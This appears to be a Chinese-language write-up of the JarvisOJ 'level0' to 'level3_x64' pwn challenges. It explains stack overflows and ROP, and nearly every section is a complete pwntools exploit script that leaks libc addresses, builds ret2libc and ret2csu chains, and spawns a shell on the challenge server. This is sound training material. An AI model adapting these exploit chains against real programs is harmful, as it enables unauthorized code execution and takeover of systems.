目录

level0

level1

level2

level2_x64

level3

Level3_x64


 

level0

题目明显提示:buf的长度是0x80,可以直接覆盖掉return address到callsystem函数

level1

漏洞是一样的,难度加大:没有system函数地址,需要泄露;没有"/bin/sh",需要用read函数写入bss段

看起来很眼熟:ROP基本用法~类似:RCTF 2015 welpwn

(1)利用write或puts函数泄露出write或puts函数的地址,从而计算出system的地址

(2)利用read函数,将"/bin/sh"写入bss段,从而执行提权得到shell

https://blog.csdn.net/kevin66654/article/details/86661534

另外一种简单的方法是利用工具,向buf地址中直接写入自动生成shellcode,代码如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

#io = process("./level1")
io = remote("pwn2.jarvisoj.com", 9877)
asmshell = asm(shellcraft.sh())

buf_addr = int(io.recv()[12:].replace('?','').strip(), 16)
payload = asmshell + "a" * (0x88 + 4 - len(asmshell)) + p32(buf_addr)
io.sendline(payload)
io.interactive()

level2

 漏洞点都一样的,区别在于给了system的plt地址

然后利用IDA找到了"/bin/sh",所以利用ROP即可

当然:先用read把"/bin/sh"写入bss,再执行也是可以的,这里给两个exp

#!/usr/bin/env python
# coding=utf-8

from pwn import *

#io = process("./XMANlevel2")
io = remote("pwn2.jarvisoj.com", 9878)

sys_plt = 0x08048320
sh_addr = 0x0804A024

io.recvuntil("Input:\n")
payload = "A" * 0x88 + "B" * 0x4 + p32(sys_plt) + p32(0xABCD) + p32(sh_addr)
io.sendline(payload)
io.interactive()
#!/usr/bin/env python
# coding=utf-8

from pwn import *

#io = process("./XMANlevel2")
io = remote("pwn2.jarvisoj.com", 9878)

read_plt = 0x08048310
sys_plt = 0x08048320
bss_addr = 0x0804A02C
sh_addr = 0x0804A024
p3r = 0x08048519

io.recvuntil("Input:\n")
#payload = "A" * 0x88 + "B" * 0x4 + p32(sys_plt) + p32(0xABCD) + p32(sh_addr)
payload = "A" * 0x88 + "B" * 0x4 + p32(read_plt) + p32(p3r) + p32(0) + p32(bss_addr) + p32(8) + p32(sys_plt) + p32(0xABCD) + p32(bss_addr)
io.sendline(payload)
sleep(1)
io.sendline("/bin/sh\x00")
io.interactive()

level2_x64

一样的题~环境不同~x64环境

在32位程序运行中,函数参数直接压入栈中

调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

在64位程序运行中,参数传递需要寄存器

前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中,从第七个开始压入栈中

利用ROPgadget寻找:

ROPgadget --binary XMANlevel2_x64 --only "pop|ret"|grep rdi
#!/usr/bin/env python
# coding=utf-8

from pwn import *

#io = process("./XMANlevel2_x64")
io = remote("pwn2.jarvisoj.com", 9882)
io.recvuntil("Input:\n")

sys_plt = 0x4004C0
sh_addr = 0x600A90
pr = 0x4006B3

payload = "A" * 0x80 + "B" * 0x8
payload += p64(pr) + p64(sh_addr) + p64(sys_plt) + p64(0xABCD)
io.sendline(payload)
io.interactive()

level3

漏洞点也很好找

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

明显栈溢出~

开启了NX,所以没法直接往栈里写shellcode,于是ROP:先泄露write函数,再计算libc版本,推出system和字符串“/bin/sh”地址再次利用该溢出即可

from pwn import *
from LibcSearcher import *

#io = process("./level3")
io = remote("pwn2.jarvisoj.com", 9879)

elf = ELF("./level3")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
func = elf.symbols["vulnerable_function"]

#get write_addr
payload = "A" * 0x88 + "B" * 0x4
payload += p32(write_plt) + p32(func) + p32(1) + p32(write_got) + p32(4)
io.recvuntil("Input:\n")
io.sendline(payload)
write_addr = u32(io.recv(4))

#get libc && get sys + binsh
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
sys_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

#system("/bin/sh")
payload = "A" * 0x88 + "B" * 0x4
payload += p32(sys_addr) + p32(0xABCD) + p32(binsh_addr)
io.recvuntil("Input:\n")
io.sendline(payload)
io.interactive()

level3_x64

漏洞点是一样的,就不分析了

pang@ubuntu:~/Desktop/jarvisoj/pwn/level3_x64$ ROPgadget --binary level3_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

所以,我们可以利用4006b3和4006b1的gadgets

我们要调用的是:write(rdi = 1, rsi = write.got, rdx = 8)

所以,链表为:p64(0x4006b3) + p64(1) + p64(0x4006b1) + p64(write.got) + p64(0xABCD) + p64(write_plt) + p64(ret_addr)

这样就可以得到write函数的地址,结合libc版本,推算出system和字符串"/bin/sh"地址

再次利用:p64(0x4006b3) + p64(binsh_addr) + p64(ssytem) + p64(ret_addr)即可

#!/usr/bin/env python
# coding=utf-8

from pwn import *
io = remote("pwn2.jarvisoj.com", 9883)
elf = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")

vul_addr = 0x4005e6
rdi_addr = 0x4006b3
rsi_addr = 0x4006b1
write_plt = elf.symbols['write']
write_got = elf.got['write']

payload = "A" * 0x80 + "B" * 8
payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(write_got) + p64(0xABCD) + p64(write_plt) + p64(vul_addr)
io.recv()
io.sendline(payload)
write_addr = u64(io.recv(8))

sys_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
system_addr = write_addr - libc.symbols['write'] + sys_offset
binsh_addr = write_addr - libc.symbols['write'] + binsh_offset

payload = "A" * 0x80 + "B" * 8
payload += p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(0xABCD)
io.recv()
io.sendline(payload)
io.interactive()

懒人总是会去寻找最懒的解法,直接上x64位的模板解法是最方便的

#!/usr/bin/env python
# coding=utf-8

from pwn import *
from LibcSearcher import *

#context.log_level = "debug"

#io = process("./level3_x64")
io = remote("pwn2.jarvisoj.com", 9883)
libc = ELF("libc-2.19.so")
elf = ELF("./level3_x64")
bss = elf.bss()

write_got = elf.got["write"]
m3c = 0x400690
p4r = 0x4006AC
p6r = 0x4006AA
pr = 0x4006B3
func = 0x4005E6

#rbx = 0
#rbp = 1
#func_addr = r12
#rdx = r13
#rsi = r14
#rdi = r15
rbx = 0
rbp = 1
r12 = write_got
r13 = 8
r14 = write_got
r15 = 1
ret = m3c
payload = "A" * 0x80 + "B" * 8
payload += p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
payload += p64(0xABCD) * 7 + p64(func)
io.recvuntil("Input:\n")
io.sendline(payload)
write_addr = u64(io.recv(8))
print hex(write_addr)

sys_offset = libc.symbols['system']
gets_offset = libc.symbols['gets']
binsh_offset = libc.search("/bin/sh").next()
system_addr = write_addr - libc.symbols["write"] + sys_offset
binsh_addr = write_addr - libc.symbols["write"] + binsh_offset
gets_addr = write_addr - libc.symbols["write"] + gets_offset
print hex(system_addr)
print hex(binsh_addr)
print hex(gets_addr)

payload = "A" * 0x80 + "B" * 0x8
payload += p64(pr) + p64(bss) + p64(gets_addr) + p64(pr) + p64(bss) + p64(system_addr) + p64(0xABCD)
io.recv()
io.sendline(payload)
io.sendline("/bin/sh\x00")
io.interactive()